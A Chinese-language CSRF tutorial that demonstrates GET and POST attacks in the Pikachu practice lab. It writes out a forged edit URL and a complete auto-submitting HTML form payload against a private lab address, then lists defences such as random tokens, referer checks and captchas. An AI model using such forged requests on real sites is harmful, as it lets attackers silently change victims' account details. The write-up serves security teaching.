1. 原理
小黑想要修改大白在购物网站www.xx.com上填写的会员地址。
先看下大白是如何修改自己的会员地址的:登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1.登录权限 2.修改个人信息的请求。
但是大白又不会把自己xx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在大白登录网站后,欺骗他进行点击,大白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
2. pikachu靶场演示
2.1 CSRF(get)
登录账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456。
登陆成功,并用burpsuite抓包
发现是get请求包,修改性别、地址,将url补全为:
http://192.168.57.139/pikachuvul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345677789&add=shanxi&email=lucy并发送给已经登陆成功的用户,用户点击进去信息就会被修改:
2.2 CSRF(post)
抓包发现是post请求方式,不能通过伪造URL的方式进行攻击
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
攻击者:192.168.57.139
漏洞服务器:192.168.57.139
编写一个csrf.html页面,将其放到www/pikachu/vul/csrf/csrfpost下
代码:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}</script>
</head>
<body>
<form method="post"action="http://192.168.57.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
把下面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改自己的信息
http://192.168.57.139/pikachu/vul/csrf/csrfpost/csrf.html
点击链接,信息被修改:
2.3 CSRF Token
抓包可以看出加了token
每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
3. burpsuite中的csrf poc介绍
生成csrf.html
修改csrf.html:
再打开,就可以修改信息
4.漏洞防御
1.当用户发送重要的请求时需要输入原始密码
2.设置随机Token(最有效):检测数据包的唯一性
pikachu靶场演示每次修改抓的数据包中token是不同的
3.检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4.设置验证码
5.限制请求方式只能为 POST